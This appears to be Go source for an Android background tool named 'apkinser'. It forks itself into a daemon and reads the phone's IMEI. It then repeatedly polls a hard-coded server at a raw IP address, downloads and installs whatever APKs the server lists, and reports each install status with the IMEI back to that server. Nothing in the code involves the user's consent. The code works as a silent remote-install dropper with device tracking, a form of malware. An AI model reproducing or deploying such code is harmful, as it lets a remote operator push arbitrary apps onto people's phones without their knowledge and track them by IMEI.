package main

import (
    "os"
    "log"
    "fmt"
    "flag"
    "time"
    "strconv"
    "runtime"
    "syscall"
    "path/filepath"
    . "git.oschina.net/zengsai/apkinser"
)

var Qid = flag.String("q", "0000", "query id")
var Imei = flag.String("s", "1234567890ABCDEF", "imei")
var BaseDir = flag.String("d", "/sdcard/system/apkinser", "file storage")
var HostAddr = flag.String("h", "http://115.236.77.136:9870", "server host")

func main() {
    flag.Parse()
    // became daemon
    daemon(0, 0)

    if *Imei == "1234567890ABCDEF" {
        *Imei = GetImei()
    }
    log.Println("IMEI:", *Imei)

    for {
        // http://210.51.13.15:9870/serverduan/serv/wuqu.jsp?imei=xxx&qid=1
        body, err := Get(*HostAddr + "/serverduan/serv/wuqu.jsp?imei=" + *Imei + "&qid=" + *Qid)

        if err != nil {
            log.Println(err.Error())
            // sleep a while and retry
            time.Sleep(1 * time.Hour)
            continue
        }

        log.Println(string(body))
        // parse info from xml
        server,err := ParseServerInfo(body);
        if (err != nil) {
            log.Println(err.Error())
            // sleep a while and retry
            time.Sleep(1 * time.Hour)
            continue
        }

        log.Println(server.String())
        // download all apks and install

        for i, apk := range server.Apks {
            // download apk
            log.Println("download apk ", i)
            ApkSavePath := filepath.Join(*BaseDir, "mim.apk")
            os.MkdirAll(*BaseDir, 0600)
            err = FetchApk(apk.Url, ApkSavePath)
            if err != nil {
                fmt.Println(err.Error())
            }

            // install pak
            log.Println("install apk ", i)
            status := Install(ApkSavePath)

            // report install status
            // http://210.51.13.15:9870/serverduan/serv/wuqu_bg.jsp?imei=xxx&qid=xxx&softid=xxx&&status=0
            log.Println("report apk ", i)
            url := *HostAddr + "/serverduan/serv/wuqu_bg.jsp?imei=" + *Imei + "&qid=" + *Qid + "&softid=" + apk.Id + "&status=" + status
            log.Println("report:", url)
            ok,_ := Get(url)
            log.Println("report result:", string(ok))
        }

        log.Println("Wait Interval:", server.Interval)
        interv, _ := strconv.Atoi(server.Interval)
        time.Sleep(time.Duration(interv) * time.Hour)
    }
}

// 0, 1
func daemon(nochdir, noclose int) int {
    var ret, ret2 uintptr
    var err syscall.Errno

    darwin := runtime.GOOS == "darwin"

    // already a daemon
    if syscall.Getppid() == 1 {
        return 0
    }

    // fork off the parent process
    ret, ret2, err = syscall.RawSyscall(syscall.SYS_FORK, 0, 0, 0)
    if err != 0 {
        return -1
    }

    // failure
    if ret2 < 0 {
        os.Exit(-1)
    }

    // handle exception for darwin
    if darwin && ret2 == 1 {
        ret = 0
    }

    // if we got a good PID, then we call exit the parent process.
    if ret > 0 {
        os.Exit(0)
    }

    /* Change the file mode mask */
    _ = syscall.Umask(0)

    // create a new SID for the child process
    s_ret, s_errno := syscall.Setsid()
    if s_errno != nil {
        log.Printf("Error: syscall.Setsid errno: %d", s_errno)
    }
    if s_ret < 0 {
        return -1
    }

    if nochdir == 0 {
        os.Chdir("/")
    }

    if noclose == 0 {
        f, e := os.OpenFile("/dev/null", os.O_RDWR, 0)
        if e == nil {
            fd := f.Fd()
            syscall.Dup2(int(fd), int(os.Stdin.Fd()))
            syscall.Dup2(int(fd), int(os.Stdout.Fd()))
            syscall.Dup2(int(fd), int(os.Stderr.Fd()))
        }
    }

    return 0
}
